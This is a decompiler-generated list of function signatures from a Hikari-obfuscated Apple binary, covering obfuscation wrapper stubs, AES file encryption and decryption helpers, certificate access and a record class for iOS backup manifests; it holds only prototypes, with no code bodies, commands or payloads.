id __fastcall HikariFunctionWrapper_19190(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19191(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19192(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19193(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19194(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19195(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19196(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19197(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19198(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19199(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19200(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19201(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19202(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19203(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19204(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19205(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19206(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19207(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19208(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19209(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19210(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19211(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19212(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19213(void *a1, const char *a2);
dispatch_queue_global_t __fastcall HikariFunctionWrapper_19214(intptr_t a1, uintptr_t a2);
dispatch_queue_global_t __fastcall HikariFunctionWrapper_19215(intptr_t a1, uintptr_t a2);
int __fastcall HikariFunctionWrapper_19216(const char *a1);
int __fastcall HikariFunctionWrapper_19217(const char *a1);
char HikariFunctionWrapper_19218();
char HikariFunctionWrapper_19219();
int __fastcall HikariFunctionWrapper_19220(const char *a1);
int __fastcall HikariFunctionWrapper_19221(const char *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19222(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19223(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19224(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19225(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19226(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19227(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19228(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19229(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19230(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19231(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19232(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19233(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19234(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19235(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19236(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19237(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19238(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19239(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19240(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19241(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19242(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19243(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19244(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19245(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19246(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19247(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19248(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19249(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19250(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19251(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19252(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19253(dispatch_queue_s *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19254(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19255(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19256(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19257(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19258(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19259(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19260(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19261(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19262(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19263(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19264(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19265(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19266(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19267(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19268(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19269(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19270(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19271(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19272(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19273(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19274(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19275(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19276(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19277(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19278(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19279(void *a1, const char *a2);
NSString *HikariFunctionWrapper_19280();
NSString *HikariFunctionWrapper_19281();
id __fastcall HikariFunctionWrapper_19282(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19283(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19284(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19285(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19286(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19287(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19288(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19289(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19290(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19291(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19292(dispatch_once_t *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19293(dispatch_once_t *a1, void *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19294(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19295(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19296(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19297(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19298(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19299(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19300(objc_class *a1);
id __fastcall HikariFunctionWrapper_19301(objc_class *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19302(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19303(const void *a1, int a2);
BOOL __fastcall HikariFunctionWrapper_19304(objc_class *a1, const char *a2, id (*a3)(id, SEL, ...), const char *a4);
BOOL __fastcall HikariFunctionWrapper_19305(objc_class *a1, const char *a2, id (*a3)(id, SEL, ...), const char *a4);
id __fastcall HikariFunctionWrapper_19306(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19307(void *a1, const char *a2);
SecCertificateRef __fastcall HikariFunctionWrapper_19308(__SecTrust *a1, CFIndex a2);
SecCertificateRef __fastcall HikariFunctionWrapper_19309(__SecTrust *a1, CFIndex a2);
id __fastcall HikariFunctionWrapper_19310(objc_class *a1);
id __fastcall HikariFunctionWrapper_19311(objc_class *a1);
id __fastcall HikariFunctionWrapper_19312(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19313(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19314(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19315(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19316(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19317(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19318(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19319(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19320(__int64 a1);
id __fastcall HikariFunctionWrapper_19321(__int64 a1);
id __fastcall HikariFunctionWrapper_19322(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19323(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19324(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19325(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19326(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19327(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19328(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19329(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19330(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19331(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19332(const void *a1, int a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19333(const void *a1, int a2);
intptr_t __fastcall HikariFunctionWrapper_19334(dispatch_semaphore_s *a1, dispatch_time_t a2);
intptr_t __fastcall HikariFunctionWrapper_19335(dispatch_semaphore_s *a1, dispatch_time_t a2);
BOOL __fastcall HikariFunctionWrapper_19336(objc_class *a1, const char *a2, id (*a3)(id, SEL, ...), const char *a4);
BOOL __fastcall HikariFunctionWrapper_19337(objc_class *a1, const char *a2, id (*a3)(id, SEL, ...), const char *a4);
intptr_t __fastcall HikariFunctionWrapper_19338(dispatch_semaphore_s *a1);
intptr_t __fastcall HikariFunctionWrapper_19339(dispatch_semaphore_s *a1);
id __fastcall HikariFunctionWrapper_19340(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19341(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19342(void *a1);
id __fastcall HikariFunctionWrapper_19343(void *a1);
id __fastcall HikariFunctionWrapper_19344(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19345(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19346(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19347(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19348(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19349(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19350(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19351(void *a1, const char *a2);
intptr_t __fastcall HikariFunctionWrapper_19352(dispatch_semaphore_s *a1);
intptr_t __fastcall HikariFunctionWrapper_19353(dispatch_semaphore_s *a1);
id __fastcall HikariFunctionWrapper_19354(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19355(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19356(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19357(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19358(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19359(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19360(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19361(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19362(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19363(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19364(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_19365(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19366(void *a1, const char *a2, void *a3, ptrdiff_t a4);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_19367(void *a1, const char *a2, void *a3, ptrdiff_t a4);
__int64 __fastcall FileDecryptAndSave2(void *a1, void *a2);
id __fastcall AES256DecryptWithData(id a1, id a2);
id encryptionKey2();
void __fastcall FileDecryptAndSave(void *a1, void *a2);
id encryptionKey();
__int64 __fastcall FileEncryptAndSave(void *a1, void *a2);
id __fastcall AES256EncryptWithData(id a1, void *a2);
id __fastcall decryptMyData(void *a1);
id __fastcall encryptMyData(void *a1);
id __fastcall sha256ForFile(__int64 a1);
id __fastcall dataToBase64String(id a1);
id __fastcall EDMaverickD(id a1);
id __fastcall encryptDataToHex(void *a1, void *a2);
id __fastcall HikariFunctionWrapper_11(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_597(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_598(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_599(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_600(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_601(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_602(void *a1, void *a2);
id __fastcall HikariFunctionWrapper_603(void *a1, void *a2);
id __fastcall HikariFunctionWrapper_604(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_605(void *a1, const char *a2);
id HikariFunctionWrapper_606();
id HikariFunctionWrapper_607();
id __fastcall HikariFunctionWrapper_608(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_609(void *a1, const char *a2);
void *__fastcall HikariFunctionWrapper_610(size_t a1);
void *__fastcall HikariFunctionWrapper_611(size_t a1);
id __fastcall HikariFunctionWrapper_612(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_613(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_614(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_615(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_616(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_617(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_618(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_619(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_620(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_621(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_622(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_623(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_624(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_625(void *a1, const char *a2);
void *__fastcall HikariFunctionWrapper_626(size_t a1);
void *__fastcall HikariFunctionWrapper_627(size_t a1);
CCCryptorStatus __fastcall HikariFunctionWrapper_628(CCOperation a1, CCAlgorithm a2, CCOptions a3, const void *a4, size_t a5, const void *a6, void *dataIn, size_t dataInLength, void *dataOut, size_t dataOutAvailable, size_t *dataOutMoved);
CCCryptorStatus __fastcall HikariFunctionWrapper_629(CCOperation a1, CCAlgorithm a2, CCOptions a3, const void *a4, size_t a5, const void *a6, void *a7, size_t a8, void *a9, size_t a10, size_t *a11);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_630(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_631(void *a1);
id __fastcall HikariFunctionWrapper_632(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_633(void *a1, const char *a2);
void *__fastcall HikariFunctionWrapper_634(size_t a1);
void *__fastcall HikariFunctionWrapper_635(size_t a1);
id __fastcall HikariFunctionWrapper_636(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_637(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_638(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_639(void *a1);
id __fastcall HikariFunctionWrapper_640(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_641(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_642(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_643(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_644(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_645(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_646(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_647(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_648(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_649(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_650(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_651(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_652(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_653(void *a1, const char *a2);
CCCryptorStatus __fastcall HikariFunctionWrapper_654(CCOperation a1, CCAlgorithm a2, CCOptions a3, const void *a4, size_t a5, const void *a6, void *dataIn, size_t dataInLength, void *dataOut, size_t dataOutAvailable, size_t *dataOutMoved);
CCCryptorStatus __fastcall HikariFunctionWrapper_655(CCOperation a1, CCAlgorithm a2, CCOptions a3, const void *a4, size_t a5, const void *a6, void *a7, size_t a8, void *a9, size_t a10, size_t *a11);
id __fastcall HikariFunctionWrapper_656(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_657(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_658(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_659(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_660(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_661(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_662(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_663(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_664(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_665(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_666(objc_class *a1);
id __fastcall HikariFunctionWrapper_667(objc_class *a1);
CCCryptorStatus __fastcall HikariFunctionWrapper_668(CCOperation a1, CCAlgorithm a2, CCOptions a3, const void *a4, size_t a5, const void *a6, void *dataIn, size_t dataInLength, void *dataOut, size_t dataOutAvailable, size_t *dataOutMoved);
CCCryptorStatus __fastcall HikariFunctionWrapper_669(CCOperation a1, CCAlgorithm a2, CCOptions a3, const void *a4, size_t a5, const void *a6, void *a7, size_t a8, void *a9, size_t a10, size_t *a11);
id __fastcall HikariFunctionWrapper_670(objc_class *a1);
id __fastcall HikariFunctionWrapper_671(objc_class *a1);
id __fastcall HikariFunctionWrapper_672(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_673(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_674(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_675(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_676(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_677(void *a1, const char *a2);
int __fastcall HikariFunctionWrapper_678(const __SecRandom *a1, size_t a2, void *a3);
int __fastcall HikariFunctionWrapper_679(const __SecRandom *a1, size_t a2, void *a3);
id __fastcall HikariFunctionWrapper_680_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_681_0(void *a1, const char *a2);
void *__fastcall HikariFunctionWrapper_682_0(size_t a1);
void *__fastcall HikariFunctionWrapper_683_0(size_t a1);
id __fastcall HikariFunctionWrapper_684_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_685_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_686_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_687_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_688_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_689_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_690_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_691_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_692_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_693_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_694_0(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_695_0(void *a1);
id __fastcall HikariFunctionWrapper_696_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_697_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_698_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_699_0(void *a1, const char *a2);
void *__fastcall HikariFunctionWrapper_700_0(size_t a1);
void *__fastcall HikariFunctionWrapper_701_0(size_t a1);
id __fastcall HikariFunctionWrapper_702_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_703_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_704_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_705_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_706_0(void *a1, const char *a2);
id __fastcall HikariFunctionWrapper_707_0(void *a1, const char *a2);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_708_0(void *a1);
void __fastcall __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_709_0(void *a1);
id __cdecl +[MbdbRecord readStringWithData:atOffset:](id, SEL, id, unsigned __int64 *);
id __cdecl +[MbdbRecord readBytesWithData:atOffset:length:](id, SEL, id, unsigned __int64 *, unsigned __int16 *);
void __cdecl -[MbdbRecord setFileHash:](MbdbRecord *self, SEL, id);
id __cdecl +[MbdbRecord fromStream:atOffset:](id, SEL, id, unsigned __int64 *);
void __cdecl -[MbdbRecord writeStringWithLength:toData:](MbdbRecord *self, SEL, id, id);
void __cdecl -[MbdbRecord writeTimeField:toData:](MbdbRecord *self, SEL, unsigned int, id);
id __cdecl -[MbdbRecord toBytes](MbdbRecord *self, SEL);
NSString *__cdecl -[MbdbRecord domain](MbdbRecord *self, SEL);
void __cdecl -[MbdbRecord setDomain:](MbdbRecord *self, SEL, id);
NSString *__cdecl -[MbdbRecord filename](MbdbRecord *self, SEL);
void __cdecl -[MbdbRecord setFilename:](MbdbRecord *self, SEL, id);
NSString *__cdecl -[MbdbRecord link](MbdbRecord *self, SEL);
void __cdecl -[MbdbRecord setLink:](MbdbRecord *self, SEL, id);
NSData *__cdecl -[MbdbRecord hashData](MbdbRecord *self, SEL);
void __cdecl -[MbdbRecord setHashData:](MbdbRecord *self, SEL, id);
NSData *__cdecl -[MbdbRecord key](MbdbRecord *self, SEL);
void __cdecl -[MbdbRecord setKey:](MbdbRecord *self, SEL, id);
unsigned __int64 __cdecl -[MbdbRecord mode](MbdbRecord *self, SEL);
void __cdecl -[MbdbRecord setMode:](MbdbRecord *self, SEL, unsigned __int64);
unsigned __int64 __cdecl -[MbdbRecord inode](MbdbRecord *self, SEL);
void __cdecl -[MbdbRecord setInode:](MbdbRecord *self, SEL, unsigned __int64);
unsigned int __cdecl -[MbdbRecord userId](MbdbRecord *self, SEL);
void __cdecl -[MbdbRecord setUserId:](MbdbRecord *self, SEL, unsigned int);
unsigned int __cdecl -[MbdbRecord groupId](MbdbRecord *self, SEL);
void __cdecl -[MbdbRecord setGroupId:](MbdbRecord *self, SEL, unsigned int);
unsigned int __cdecl -[MbdbRecord mtime](MbdbRecord *self, SEL);
void __cdecl -[MbdbRecord setMtime:](MbdbRecord *self, SEL, unsigned int);
unsigned int __cdecl -[MbdbRecord atime](MbdbRecord *self, SEL);
void __cdecl -[MbdbRecord setAtime:](MbdbRecord *self, SEL, unsigned int);
unsigned int __cdecl -[MbdbRecord ctime](MbdbRecord *self, SEL);
void __cdecl -[MbdbRecord setCtime:](MbdbRecord *self, SEL, unsigned int);
unsigned __int64 __cdecl -[MbdbRecord size](MbdbRecord *self, SEL);
void __cdecl -[MbdbRecord setSize:](MbdbRecord *self, SEL, unsigned __int64);
unsigned __int8 __cdecl -[MbdbRecord flags](MbdbRecord *self, SEL);
void __cdecl -[MbdbRecord setFlags:](MbdbRecord *self, SEL, unsigned __int8);
NSArray *__cdecl -[MbdbRecord properties](MbdbRecord *self, SEL);
void __cdecl -[MbdbRecord setProperties:](MbdbRecord *self, SEL, id);
